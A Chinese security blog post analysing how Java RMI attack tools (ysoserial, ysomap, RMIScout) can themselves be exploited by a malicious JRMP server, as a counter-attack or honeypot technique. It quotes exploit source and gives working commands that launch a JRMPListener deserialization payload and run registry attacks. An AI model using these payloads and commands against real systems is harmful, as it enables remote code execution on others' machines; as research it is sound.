猎人还是猎物-RMI之反制篇

2021-11-22

闲来无事，反制ysoserial (
之前分析RMI的时候，发现对于客户端的反序列化攻击都是没有被修复的，也就是说如果调用了原生jdk的rmi客户端相关调用，连接恶意JRMP服务端就会触发反序列化。
攻击客户端的场景不多，除了反打服务器，打真正客户端的场景可能就是反制了，或者叫蜜罐也行。那么看下常见的攻击RMI的安全工具有没有这种问题。

ysoserial

上来先看看Java安全神器ysoserial里和RMI有关的exp。yso里面大部分都是本地生成payload，但也有一些打远程服务的，比如RMIRegistryExploit

public static void main(final String[] args) throws Exception {
	final String host = args[0];
	final int port = Integer.parseInt(args[1]);
	final String command = args[3];
	Registry registry = LocateRegistry.getRegistry(host, port);
	final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
	final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

	// test RMI registry connection and upgrade to SSL connection on fail
	try {
		registry.list();
	} catch(ConnectIOException ex) {
		registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
	}

	// ensure payload doesn't detonate during construction or deserialization
	exploit(registry, payloadClass, command);
}

public static void exploit(final Registry registry,
		final Class<? extends ObjectPayload> payloadClass,
		final String command) throws Exception {
	new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
		ObjectPayload payloadObj = payloadClass.newInstance();
           Object payload = payloadObj.getObject(command);
		String name = "pwned" + System.nanoTime();
		Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
		try {
			registry.bind(name, remote);
		} catch (Throwable e) {
			e.printStackTrace();
		}
		Utils.releasePayload(payloadObj, payload);
		return null;
	}});
}

看到了registry.list和registry.bind，这两处就是调用的原生的RegistryImpl_Stub，会触发UnicastRef#invoke->StreamRemoteCall#executeCall导致反序列化，这里就有反序列化点了。 (实际上只有list那里可以触发，下面的bind是在yso的沙箱保护下的。在18年的一次更新才引入了这处list，也就是说老的版本是不会被攻击的。 )
调用链自然也没啥问题，毕竟ysoserial算是天底下反序列化链最多的地方了。感觉就像个弹药库把自己给炸了。
所以攻击很简单，就用JRMPListener在1099端口(RMI注册中心默认端口)起一个恶意服务端，原汤化原食了属于是：

1	java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe

然后客户端扮演jb小子，nmap扫完看见1099开了直接打：

1	java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit ip 1099 CommonsCollections6 whoami

喜提计算器。
很奇怪的是在另一个攻击rmi的脚本ysoserial/exploit/JRMPClient.java里

/**
 * Generic JRMP client
 * 
 * Pretty much the same thing as {@link RMIRegistryExploit} but 
 * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
 * - not deserializing anything (so you don't get yourself exploited ;))
 * 
 * @author mbechler
 *
 */

注释里特意写了not deserializing anything，说明开发者是想到过反打的问题的，但不知道为什么没有注意到另一处。
顺带一提，恶意服务器如果在实现时触发了反序列化一样是会被攻击的，只不过这种场景少了点。

ysomap

ysomap是wh1t3p1g大师傅开发的Java反序列化辅助工具，和ysoserial相比可以更细化的修改payload，但是用着比较麻烦，研究了半天也没咋用明白。
同样这个工具也提供了攻击RMI registry的功能，看一下这部分实现，在ysomap/exploits/rmi/component/Naming.java

public static Remote lookup(Registry registry, Object obj)
            throws Exception {
        RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
        long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
        java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                //反射修改enableReplace
                ReflectionHelper.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {

重写了lookup，调用了JDK原生的ref.invoke，那么一样是有反打的问题的。
没太用明白，大概是这么用吧：

use exploit RMIRegistryExploit
use payload RMIConnectWrappedWithProxy
use bullet RMIConnectBullet
set target ip:1099
set rhost ip2
run

服务端一样是JRMPListener，一样打cc就行。计算器x2。

RMIScout

RMIScout也是一个攻击RMI的工具，看了下这个工具重点支持攻击服务端的方式，也就是通过爆破远程方法签名攻击服务端，portswigger也宣传过这个工具https://portswigger.net/daily-swig/rmiscout-new-hacking-tool-brute-forces-java-rmi-servers-for-vulnerabilities
在rmiscout/RMIConnector.java一样是看到了原生的registry.list

public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
        try {
            this.host = host;
            this.allowUnsafe = allowUnsafe;
            this.signatures = signatures;
            this.isActivationServer = isActivationServer;
            String[] regNames = null;
            isSSL = false;

            try {
                // Attempt a standard cleartext connection
                this.registry = LocateRegistry.getRegistry(host, port);
                regNames = registry.list();

这个工具的攻击实际是依赖ysoserial实现的，那么一样会被反打

1	java -jar rmiscout-1.4-SNAPSHOT-all.jar list ip 1099

计算器x3

其他工具

常见的攻击RMI的还有个经典工具BaRMIe，实际上它的攻击流程也会触发反序列化，但是这个工具并不是用加载依赖的方式来生成payload的，而是直接写死的。那么没有依赖库，反序列化也很难打本地的链了。
另外metasploit也有对应的exp，完全基于ruby实现的，自然不会有Java反序列化的问题，还是msf懂安全。

参考链接

https://github.com/frohoff/ysoserial
https://github.com/wh1t3p1g/ysomap
https://github.com/BishopFox/rmiscout
https://github.com/NickstaDB/BaRMIe